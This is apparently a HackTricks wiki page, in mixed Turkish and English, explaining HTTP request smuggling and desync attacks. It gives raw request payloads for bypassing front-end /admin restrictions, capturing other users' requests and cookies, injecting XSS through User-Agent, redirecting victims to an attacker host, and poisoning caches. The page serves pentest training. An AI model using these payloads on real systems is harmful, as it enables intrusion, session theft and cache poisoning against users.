HTTP Request Smuggling / HTTP Desync Attack

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

abonelik planlarını kontrol edin!

💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.

HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.

Nedir

Bu vulnerability, front-end proxies ile back-end server arasında oluşan bir desyncronization nedeniyle, bir attackerın bir HTTP request send etmesine izin verdiğinde ortaya çıkar; bu request, front-end proxies (load balance/reverse-proxy) tarafından tek bir request olarak ve back-end server tarafından ise 2 request olarak interpreted edilir.
Bu, bir kullanıcının kendisinden sonra back-end server’a gelen bir sonraki request’i modify etmesine izin verir.

Theory

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

Content-Length entity header, byte cinsinden, alıcıya gönderilen entity-body’nin boyutunu belirtir.

Transfer-Encoding: chunked

Transfer-Encoding header, payload body’yi kullanıcıya güvenli bir şekilde transfer etmek için kullanılan encoding biçimini belirtir.
Chunked, büyük verinin bir dizi chunk halinde gönderilmesi demektir

Reality

Front-End (bir load-balance / Reverse Proxy) content-length veya transfer-encoding header’ını process eder ve Back-end server diğerini process ederek 2 sistem arasında bir desyncronization oluşturur.
Bu çok kritik olabilir çünkü bir attacker tek bir request’i reverse proxy’ye gönderir ve bu request, back-end server tarafından 2 farklı request olarak interpreted edilir. Bu tekniğin danger’ı, back-end server’ın injected edilen 2nd request’i sanki bir sonraki client’tan gelmiş gibi interpret etmesi ve o client’ın gerçek request’inin injected request’in bir part’ı haline gelmesidir.

Particularities

HTTP’de yeni satır karakterinin 2 byte’tan oluştuğunu unutmayın:

Content-Length: Bu header, request’in body’sinin byte sayısını belirtmek için bir decimal number kullanır. Body’nin son karakterde bitmesi beklenir, request’in sonunda yeni satıra gerek yoktur.
Transfer-Encoding: Bu header, body içinde bir sonraki chunk’ın byte sayısını belirtmek için bir hexadecimal number kullanır. chunk bir yeni satır ile bitmelidir ancak bu yeni satır uzunluk göstergesine count edilmez. Bu transfer yöntemi, ardından 2 yeni satır gelen boyutu 0 olan bir chunk ile bitmelidir: 0
Connection: Deneyimime göre request Smuggling’in ilk request’inde Connection: keep-alive kullanılması önerilir.

Visible - Hidden

http/1.1 ile ilgili ana problem, tüm request’lerin aynı TCP socket üzerinden gitmesidir; dolayısıyla request alan 2 sistem arasında bir farklılık bulunursa, son backend’e (veya hatta aradaki sistemlere) bir request’in 2 farklı request (veya daha fazlası) olarak reated edilmesi mümkündür.

This blog post, WAF’ler tarafından işaretlenmeyecek bir sistemde desync attack tespit etmek için yeni yollar önerir. Bunun için Visible vs Hidden davranışlarını sunar. Bu durumda amaç, gerçekten bir şey exploit etmeden, desync’e neden olabilecek teknikler kullanarak response’taki farklılıkları bulmaya çalışmaktır.

Örneğin, normal host header ve bir “ host“ header ile request göndermek; eğer backend bu request hakkında şikayet ederse (belki de “ host“ değerinin yanlış olması nedeniyle), bu front-end’in “ host“ header’ını görmediği, ancak son backend’in onu kullandığı anlamına gelebilir; bu da front-end ile backend arasında yüksek olasılıkla bir desync olduğunu gösterir.

Bu bir Hidden-Visible discrepancy olur.

Eğer front-end “ host“ header’ını dikkate almış olsaydı ama front-end dikkate almadıysa, bu bir Visible-Hidden durumu olabilirdi.

Örneğin bu, front-end olarak AWS ALB ile backend olarak IIS arasındaki desync’leri keşfetmeyi sağladı. Bunun nedeni, “Host: foo/bar” gönderildiğinde ALB’nin 400, Server; awselb/2.0 dönmesi, fakat “Host : foo/bar” gönderildiğinde 400, Server: Microsoft-HTTPAPI/2.0 dönmesi ve response’un backend tarafından gönderildiğinin anlaşılmasıydı. Bu, Hidden-Vissible (H-V) bir durumdur.

Bu durumun AWS’de düzeltilmediğini, ancak routing.http.drop_invalid_header_fields.enabled ve routing.http.desync_mitigation_mode = strictest ayarlanarak önlenebileceğini unutmayın.

Basic Examples

Tip

Bunu Burp Suite ile exploit etmeye çalışırken, repeater içinde Update Content-Length ve Normalize HTTP/1 line endings seçeneklerini devre dışı bırakın; çünkü bazı gadgets yeni satırları, carriage return’leri ve hatalı content-length’leri abuse eder.

HTTP request smuggling attack’leri, front-end ve back-end server’ların Content-Length (CL) ve Transfer-Encoding (TE) header’larını nasıl yorumladığındaki farklılıkları exploit eden belirsiz request’ler gönderilerek oluşturulur. Bu attack’ler farklı biçimlerde ortaya çıkabilir; başlıca CL.TE, TE.CL ve TE.TE. Her tür, bu header’lara öncelik verme konusunda front-end ve back-end server’ların nasıl davrandığının benzersiz bir kombinasyonunu temsil eder. Vulnerability’ler, server’ların aynı request’i farklı şekillerde process etmesinden doğar ve bu da beklenmedik ve potansiyel olarak kötü amaçlı sonuçlara yol açar.

Basic Examples of Vulnerability Types

Tip

Önceki tabloya TE.0 tekniğini de eklemelisiniz; CL.0 tekniğine benzer, ancak Transfer Encoding kullanır.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

Front-End (CL): Request’i Content-Length header’ına göre process eder.
Back-End (TE): Request’i Transfer-Encoding header’ına göre process eder.
Attack Scenario:
Attacker, Content-Length header değerinin gerçek content length ile eşleşmediği bir request gönderir.
Front-end server, Content-Length değerine göre tüm request’i back-end’e iletir.
Back-end server, Transfer-Encoding: chunked header’ı nedeniyle request’i chunked olarak process eder ve kalan veriyi ayrı, sonraki bir request olarak yorumlar.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

Front-End (TE): Request’i Transfer-Encoding header’ına göre process eder.
Back-End (CL): Request’i Content-Length header’ına göre process eder.
Attack Scenario:
Attacker, chunk size (7b) ve gerçek content length (Content-Length: 4) uyuşmayan bir chunked request gönderir.
Front-end server, Transfer-Encoding’i dikkate alarak tüm request’i back-end’e iletir.
Back-end server, Content-Length’e uyarak request’in yalnızca başlangıç kısmını (7b bytes) process eder ve geri kalanını istenmeyen sonraki bir request’in parçası olarak bırakır.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

Servers: İkisi de Transfer-Encoding destekler, ancak biri obfuscation ile onu ignore etmeye kandırılabilir.
Attack Scenario:
Attacker, obfuscated Transfer-Encoding header’ları içeren bir request gönderir.
Hangi server’ın (front-end veya back-end) obfuscation’ı tanımadığına bağlı olarak, CL.TE veya TE.CL vulnerability exploit edilebilir.
Request’in işlenmeyen kısmı, server’lardan birinin gördüğü haliyle, sonraki bir request’in parçası olur ve smuggling’e yol açar.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

Her iki server da request’i yalnızca Content-Length header’ına dayanarak process eder.
Bu senaryo genellikle smuggling’e yol açmaz, çünkü her iki server’ın request uzunluğunu yorumlama biçimi uyumludur.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

Content-Length header’ının mevcut olduğu ve sıfırdan farklı bir değere sahip olduğu, yani request body’sinin içerik taşıdığı senaryoları ifade eder. Back-end, Content-Length header’ını ignore eder (0 olarak ele alınır), fakat front-end onu parse eder.
Request’in sonunu server’ların nasıl belirlediğini etkilediği için, smuggling attack’lerini anlamada ve oluştururken kritik önemdedir.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

Öncekiyle aynı, ancak TE kullanır
Technique reported here
Example:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

`0.CL` Senaryosu

Bir 0.CL durumda, bir request şu şekilde bir Content-Length ile gönderilir:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Ve front-end Content-Length’i dikkate almaz, bu yüzden yalnızca ilk isteği backend’e gönderir (örnekteki 7’ye kadar). Ancak backend Content-Length’i görür ve hiç gelmeyen bir body’yi bekler çünkü front-end zaten yanıtı bekliyordur.

Ancak, backend’e gönderilebilen ve isteğin body’si gelmeden önce yanıtlanan bir istek varsa, bu deadlock oluşmaz. Örneğin IIS’de bu, /con gibi yasaklı kelimelere istek göndererek olur (bakın documentation), bu şekilde ilk istek doğrudan yanıtlanır ve ikinci istek kurbanın isteğini içerecektir, örneğin:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Bu, bir desync oluşturmak için faydalıdır, ancak şimdiye kadar herhangi bir etki yaratmaz.

Ancak, post bunun için bir çözüm sunuyor; bunu bir 0.CL attack into a CL.0 with a double desync’ye dönüştürerek yapıyor.

Web server’ı break etmek

Bu technique ayrıca, ilk HTTP verisini okurken bir web server’ı break etmek mümkün olan fakat connection’ı kapatmadan yapılan senaryolarda da faydalıdır. Bu şekilde, HTTP request’in body kısmı bir sonraki HTTP request olarak kabul edilir.

Örneğin, bu writeup’ta açıklandığı gibi, Werkzeug’ta bazı Unicode karakterleri göndermek mümkündü ve bu server’ın break olmasına neden oluyordu. Ancak, HTTP connection Connection: keep-alive header’ı ile oluşturulmuşsa, request’in body’si okunmaz ve connection açık kalır; böylece request’in body kısmı bir sonraki HTTP request olarak işlenir.

Hop-by-hop headers üzerinden zorlamak

Hop-by-hop headers’ı kötüye kullanarak, proxy’ye Content-Length veya Transfer-Encoding header’ını silmesini söyleyebilir ve böylece HTTP request smuggling’i kötüye kullanmak mümkün olur.

Connection: Content-Length

Daha fazla bilgi için hop-by-hop headers hakkında ziyaret edin:

hop-by-hop headers

HTTP Request Smuggling Bulma

HTTP request smuggling vulnerabilities’ı tespit etmek çoğu zaman zamanlama teknikleriyle yapılabilir; bu teknikler, server’ın manipüle edilmiş request’lere yanıt vermesinin ne kadar sürdüğünü gözlemlemeye dayanır. Bu teknikler özellikle CL.TE ve TE.CL vulnerabilities’ı tespit etmek için faydalıdır. Bu yöntemlerin dışında, bu tür vulnerabilities’ı bulmak için kullanılabilecek başka stratejiler ve tools da vardır:

Zamanlama Teknikleri Kullanarak CL.TE Vulnerabilities Bulma

Method:
Eğer application vulnerable ise back-end server’ın ek data beklemesine neden olacak bir request gönderin.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Observation:
Front-end server request’i Content-Length baz alarak işler ve message’ı erken keser.
Chunked message bekleyen back-end server, hiç gelmeyen sonraki chunk’ı bekler ve bu da delay’e neden olur.
Indicators:
Response’ta timeout’lar veya uzun delays.
Back-end server’dan 400 Bad Request error almak; bazen ayrıntılı server bilgisiyle birlikte.

Zamanlama Teknikleri Kullanarak TE.CL Vulnerabilities Bulma

Method:
Eğer application vulnerable ise back-end server’ın ek data beklemesine neden olacak bir request gönderin.
Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Observation:
Front-end server request’i Transfer-Encoding baz alarak işler ve tüm message’ı iletir.
Content-Length tabanlı bir message bekleyen back-end server, hiç gelmeyen ek data’yı bekler ve bu da delay’e neden olur.

Vulnerabilities Bulmak İçin Diğer Yöntemler

Differential Response Analysis:
Bir request’in biraz farklı versiyonlarını gönderin ve server response’larının beklenmedik şekilde farklı olup olmadığını gözlemleyin; bu bir parsing discrepancy’e işaret eder.
Automated Tools Kullanmak:
Burp Suite’in HTTP Request Smuggler extension’ı gibi tools, çeşitli belirsiz request formatları gönderip response’ları analiz ederek bu vulnerabilities’ı otomatik olarak test edebilir.
Content-Length Variance Tests:
Gerçek content length ile uyumlu olmayan farklı Content-Length değerleriyle request’ler gönderin ve server’ın bu eşleşmezlikleri nasıl ele aldığını gözlemleyin.
Transfer-Encoding Variance Tests:
Obfuscated veya malformed Transfer-Encoding headers gönderin ve front-end ile back-end server’ların bu manipülasyonlara nasıl farklı tepki verdiğini izleyin.

`Expect: 100-continue` header’ı

Bu header’ın bir http desync sömürüsüne nasıl yardımcı olabileceğini şurada kontrol edin:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Zamanlama tekniklerinin etkili olduğunu doğruladıktan sonra, client request’lerinin manipüle edilip edilemeyeceğini doğrulamak kritik önem taşır. Basit bir yöntem, request’lerinizi poison etmeye çalışmaktır; örneğin / isteğinin 404 response döndürmesini sağlamak. Daha önce Basic Examples kısmında tartışılan CL.TE ve TE.CL örnekleri, client’ın erişmek istediği resource farklı olsa bile, bir client request’ini poison ederek 404 response elde etmeyi gösterir.

Key Considerations

Request smuggling vulnerabilities’ı test ederken diğer request’lerle etkileşime giriyorsanız, şunları aklınızda tutun:

Distinct Network Connections: “attack” ve “normal” request’ler ayrı network connections üzerinden gönderilmelidir. İkisi için aynı connection’ı kullanmak vulnerability’nin varlığını doğrulamaz.
Consistent URL and Parameters: İki request için de aynı URL ve parameter name’leri kullanmayı hedefleyin. Modern application’lar çoğu zaman request’leri URL ve parameters’a göre belirli back-end server’lara yönlendirir. Bunların eşleşmesi, her iki request’in de aynı server tarafından işlenme olasılığını artırır; bu da başarılı bir attack için ön koşuldur.
Timing and Racing Conditions: “attack” request’ten kaynaklanan etkileşimi tespit etmek için kullanılan “normal” request, diğer eşzamanlı application request’leriyle yarışır. Bu yüzden “normal” request’i “attack” request’in hemen ardından gönderin. Yoğun application’larda kesin vulnerability doğrulaması için birden fazla deneme gerekebilir.
Load Balancing Challenges: Load balancer olarak çalışan front-end server’lar request’leri farklı back-end sistemlere dağıtabilir. Eğer “attack” ve “normal” request’ler farklı sistemlere giderse attack başarılı olmaz. Bu load balancing yönü, bir vulnerability’yi doğrulamak için birkaç deneme gerektirebilir.
Unintended User Impact: Eğer attack’iniz yanlışlıkla başka bir user’ın request’ini etkilerse (tespit için gönderdiğiniz “normal” request değil), bu attack’inizin başka bir application user’ını etkilediğini gösterir. Sürekli test yapmak diğer user’ları bozabilir; bu nedenle dikkatli yaklaşım gerekir.

HTTP/1.1 pipelining artifact’leri ile gerçek request smuggling’i ayırt etme

Connection reuse (keep-alive) ve pipelining, aynı socket üzerinde birden fazla request gönderen testing tools’da kolayca “smuggling” yanılsaması oluşturabilir. Zararsız client-side artifact’leri gerçek server-side desync’ten ayırmayı öğrenin.

Neden pipelining klasik false positive üretir

HTTP/1.1 tek bir TCP/TLS connection’ı yeniden kullanır ve request’leri ile response’ları aynı stream üzerinde birleştirir. Pipelining’de client birden fazla request’i art arda gönderir ve sırayla gelen response’lara güvenir. Yaygın bir false-positive, bozuk bir CL.0-style payload’ı aynı connection üzerinde iki kez yeniden göndermektir:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Yanıtlar şöyle görünebilir:

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Eğer sunucu bozuk Content_Length değerini yok saydıysa, FE↔BE desync yoktur. reuse ile, istemciniz aslında şu byte-stream’i gönderdi; sunucu bunu iki bağımsız request olarak parse etti:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: yok. Sadece client’ını server framing’inden desync ettin.

Tip

Reuse/pipelining’e bağlı Burp modülleri: requestsPerConnection>1 ile Turbo Intruder, “HTTP/1 connection reuse” ile Intruder, “Send group in sequence (single connection)” veya “Enable connection reuse” ile Repeater.

Litmus testleri: pipelining mi yoksa gerçek desync mi?

Reuse’u devre dışı bırak ve yeniden test et

Burp Intruder/Repeater içinde HTTP/1 reuse’u kapat ve “Send group in sequence” kullanmaktan kaçın.
Turbo Intruder’da requestsPerConnection=1 ve pipeline=False ayarla.
Davranış kaybolursa, muhtemelen client-side pipelining’dir; ancak connection-locked/stateful target’larla veya client-side desync ile uğraşmıyorsan.

HTTP/2 nested-response kontrolü

Bir HTTP/2 request gönder. Eğer response body içinde tam bir nested HTTP/1 response varsa, saf bir client artifact yerine backend parsing/desync bug’ını kanıtlamış olursun.

Connection-locked front-end’ler için partial-requests probe

Bazı FE’ler, upstream BE connection’ını yalnızca client kendi connection’ını reuse ettiğinde reuse eder. Client reuse’unu taklit eden FE davranışını tespit etmek için partial-requests kullan.
connection-locked tekniği için PortSwigger “Browser‑Powered Desync Attacks” bölümüne bak.

State probe’ları

Aynı TCP connection üzerinde ilk request ile sonraki request’ler arasında fark ara (first-request routing/validation).
Burp “HTTP Request Smuggler” bunu otomatikleştiren bir connection-state probe içerir.

Wire’ı görselleştir

Reuse ve partial requests ile deney yaparken concatenation ve message framing’i doğrudan incelemek için Burp “HTTP Hacker” extension’ını kullan.

Connection‑locked request smuggling (reuse-required)

Bazı front-end’ler upstream connection’ı yalnızca client kendi connection’ını reuse ettiğinde reuse eder. Gerçek smuggling vardır ama client-side reuse’a bağlıdır. Bunu ayırt etmek ve impact’i kanıtlamak için:

Server-side bug’ı kanıtla
HTTP/2 nested-response kontrolünü kullan, veya
partial-requests kullanarak FE’nin upstream’i yalnızca client yaptığı zaman reuse ettiğini göster.
Doğrudan cross-user socket abuse engellense bile gerçek impact’i göster:
Cache poisoning: desync üzerinden shared caches’i poison et, böylece response’lar diğer kullanıcıları etkiler.
Internal header disclosure: FE-injected header’ları (ör. auth/trust headers) yansıt ve auth bypass’a pivot et.
FE controls bypass: kısıtlı path/method’ları front-end’den gizlice geçir.
Host-header abuse: internal vhost’lara pivot etmek için host routing tuhaflıklarıyla birleştir.
Operator workflow
Kontrollü reuse ile yeniden üret (Turbo Intruder requestsPerConnection=2, veya Burp Repeater tab group → “Send group in sequence (single connection)”).
Sonra cache/header-leak/control-bypass primitive’lerine zincirle ve cross-user veya authorization impact’ini göster.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Eğer browser-powered/client-side desync hedefliyorsan, malicious request bir browser tarafından cross-origin gönderilebilir olmalı. Header obfuscation trick’leri işe yaramaz. Navigation/fetch üzerinden erişilebilen primitive’lere odaklan, sonra downstream component’lerin response’ları yansıttığı veya cache’lediği yerlerde cache poisoning, header disclosure veya front-end control bypass’a pivot et.

Arka plan ve uçtan uca workflow’lar için:

Browser HTTP Request Smuggling

Karar vermeye yardımcı araçlar

HTTP Hacker (Burp BApp Store): düşük seviyeli HTTP davranışını ve socket concatenation’ı gösterir.
“Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
Turbo Intruder: requestsPerConnection üzerinden connection reuse üzerinde hassas kontrol.
Burp HTTP Request Smuggler: first-request routing/validation’ı tespit etmek için bir connection-state probe içerir.

Note

Yalnızca reuse’a bağlı etkileri, server-side desync’i kanıtlayıp somut impact ekleyemiyorsan (poisoned cache artifact, privilege bypass sağlayan leaked internal header, bypassed FE control, vb.) sorun sayma.

HTTP Request Smuggling’i kötüye kullanma

HTTP Request Smuggling ile Front-End Security’yi aşma

Bazen front-end proxy’ler gelen request’leri inceleyerek security önlemleri uygular. Ancak bu önlemler HTTP Request Smuggling sömürülerek aşılabilir ve yetkisiz olarak kısıtlı endpoint’lere erişim sağlanabilir. Örneğin, /admin erişimi dışarıdan yasak olabilir ve front-end proxy bu tür denemeleri aktif olarak engelleyebilir. Yine de bu proxy, smuggled HTTP request içindeki gömülü request’leri incelemeyebilir; bu da bu kısıtlamaları aşmak için bir açık bırakır.

HTTP Request Smuggling’in front-end security controls’ü aşmak için nasıl kullanılabileceğini gösteren aşağıdaki örneklere bak; özellikle front-end proxy tarafından genellikle korunan /admin path’ini hedefler:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE saldırısında, Content-Length başlığı ilk request için kullanılırken, sonraki gömülü request Transfer-Encoding: chunked başlığını kullanır. Front-end proxy ilk POST requestini işler ancak gömülü GET /admin requestini inceleyemez; bu da /admin path’ine yetkisiz erişime izin verir.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Buna karşılık, TE.CL saldırısında, başlangıç POST request’i Transfer-Encoding: chunked kullanır ve ardından gelen gömülü request, Content-Length header’ına göre işlenir. CL.TE saldırısına benzer şekilde, front-end proxy gizlice geçirilen GET /admin request’ini göz ardı eder ve böylece kısıtlı /admin path’ine yanlışlıkla erişim sağlar.

Front-end request rewriting’i ortaya çıkarma

Applications genellikle gelen request’leri back-end server’a iletmeden önce değiştirmek için bir front-end server kullanır. Tipik bir değişiklik, client’s IP’sini back-end’e iletmek için X-Forwarded-For: <IP of the client> gibi header’lar eklemeyi içerir. Bu değişiklikleri anlamak kritik olabilir, çünkü bu, protections’ı bypass etme veya gizlenmiş information ya da endpoints’i açığa çıkarma yollarını ortaya çıkarabilir.

Bir proxy’nin bir request’i nasıl değiştirdiğini incelemek için, back-end’in response içinde yankıladığı bir POST parameter’i bulun. Ardından, aşağıdaki benzer şekilde bu parameter’i en sona koyarak bir request oluşturun:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Bu yapıda, sonraki request bileşenleri search= sonrasına eklenir; bu, response içinde yansıtılan parametredir. Bu reflection, sonraki request’in headers’ını açığa çıkarır.

Nested request’in Content-Length header’ını gerçek content length ile hizalamak önemlidir. Küçük bir değerle başlayıp kademeli olarak artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi truncate eder, çok yüksek bir değer ise request’in error vermesine neden olabilir.

Bu technique, bir TE.CL vulnerability bağlamında da uygulanabilir, ancak request search=\r\n0 ile sonlanmalıdır. Newline characters ne olursa olsun, values search parametresine eklenir.

Bu yöntem esas olarak front-end proxy’nin yaptığı request modifications’ı anlamaya, yani özünde kendi kendine yönlendirilmiş bir investigation yapmaya hizmet eder.

Diğer kullanıcıların requests’lerini yakalama

POST operation sırasında bir parameter’ın value’su olarak belirli bir request ekleyerek bir sonraki user’ın requests’ini capture etmek mümkündür. Bunu şu şekilde yapabilirsiniz:

Aşağıdaki request’i bir parameter’ın value’su olarak ekleyerek, sonraki client’ın request’ini store edebilirsiniz:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Bu senaryoda, comment parameter bir post’un comment section içeriğini publicly accessible bir sayfada saklamak için tasarlanmıştır. Sonuç olarak, sonraki request’in içeriği bir comment olarak görünecektir.

Ancak, bu technique’in sınırlamaları vardır. Genellikle, yalnızca smuggled request içinde kullanılan parameter delimiter’a kadar olan veriyi yakalar. URL-encoded form submissions için bu delimiter & karakteridir. Bu, victim user’ın request’inden yakalanan içeriğin ilk & karakterinde duracağı anlamına gelir; bu karakter query string’in bir parçası bile olabilir.

Ek olarak, bu yaklaşımın bir TE.CL vulnerability ile de mümkün olduğunu belirtmekte fayda var. Bu durumlarda, request search=\r\n0 ile sonlandırılmalıdır. Newline karakterlerinden bağımsız olarak, values search parameter’ına eklenecektir.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling, Reflected XSS açığı olan web pages’i exploit etmek için kullanılabilir ve önemli avantajlar sunar:

Target users ile etkileşim gerektirmez.
Normalde elde edilemeyen request kısımlarında, örneğin HTTP request headers içinde, XSS exploitation’a izin verir.

Bir website’in User-Agent header üzerinden Reflected XSS’e açık olduğu senaryolarda, aşağıdaki payload bu vulnerability’yi exploit etmeyi gösterir:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Bu payload, vulnerability’yi istismar etmek için şu şekilde yapılandırılmıştır:

Görünüşte tipik bir POST request başlatır, smuggling’in başlangıcını belirtmek için Transfer-Encoding: chunked header’ı ile.
Ardından, chunked message body’nin sonunu işaret eden 0 gelir.
Sonra, smuggled bir GET request eklenir; burada User-Agent header’ı <script>alert(1)</script> script’i ile inject edilir ve server bu sonraki request’i işlediğinde XSS tetiklenir.

User-Agent’i smuggling yoluyla manipüle ederek payload normal request kısıtlamalarını aşar ve böylece Reflected XSS vulnerability’sini standart olmayan ama etkili bir şekilde istismar eder.

HTTP/0.9

Caution

Kullanıcı content’i bir response içinde Content-type gibi text/plain ile yansıtılıyorsa, XSS’in çalışması engellenir. Server HTTP/0.9 destekliyorsa bunu bypass etmek mümkün olabilir!

HTTP/0.9 sürümü, 1.0’dan önceydi ve yalnızca GET verbs kullanır ve headers ile yanıt vermez, sadece body.

bu writeup içinde, bu durum request smuggling ve kullanıcı input’una yanıt verecek vulnerable bir endpoint ile kötüye kullanılarak HTTP/0.9 ile bir request smuggle etmek için kullanılmıştır. Response’ta yansıtılacak parameter, sahte bir HTTP/1.1 response (headers ve body ile) içeriyordu; böylece response, Content-Type olarak text/html ile geçerli ve çalıştırılabilir JS code içeriyordu.

On-site Redirects’i HTTP Request Smuggling ile İstismar Etme

Applications çoğu zaman Host header’ındaki hostname’i redirect URL’sinde kullanarak bir URL’den diğerine redirect eder. Bu, Apache ve IIS gibi web servers’larda yaygındır. Örneğin, sonuna slash eklenmemiş bir folder istenirse, slash’i eklemek için bir redirect oluşur:

GET /home HTTP/1.1
Host: normal-website.com

Sonuçlar:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Görünüşte zararsız olsa da, bu davranış HTTP request smuggling kullanılarak kullanıcıları harici bir siteye yönlendirmek için manipüle edilebilir. Örneğin:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Bu smuggled request, işlenen sonraki user request’in attacker-controlled bir website’e redirect edilmesine neden olabilir:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Sonuçları:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Bu senaryoda, bir kullanıcının JavaScript dosyası isteği ele geçirilir. Saldırgan, karşılığında kötü amaçlı JavaScript sunarak potansiyel olarak kullanıcıyı ele geçirebilir.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning, front-end infrastructure content önbelleğe alıyorsa, genellikle performansı artırmak için, gerçekleştirilebilir. Sunucunun yanıtı manipüle edilerek cache zehirlemek mümkündür.

Daha önce, sunucu yanıtlarının nasıl değiştirilerek 404 hata döndürülebildiğini gördük (bkz. Basic Examples). Benzer şekilde, sunucuyu /static/include.js isteğine karşılık /index.html içeriğini döndürmesi için kandırmak mümkündür. Sonuç olarak, /static/include.js içeriği cache içinde /index.html içeriğiyle değiştirilir; bu da /static/include.js dosyasını kullanıcılar için erişilemez hale getirir ve potansiyel olarak bir Denial of Service (DoS) ile sonuçlanır.

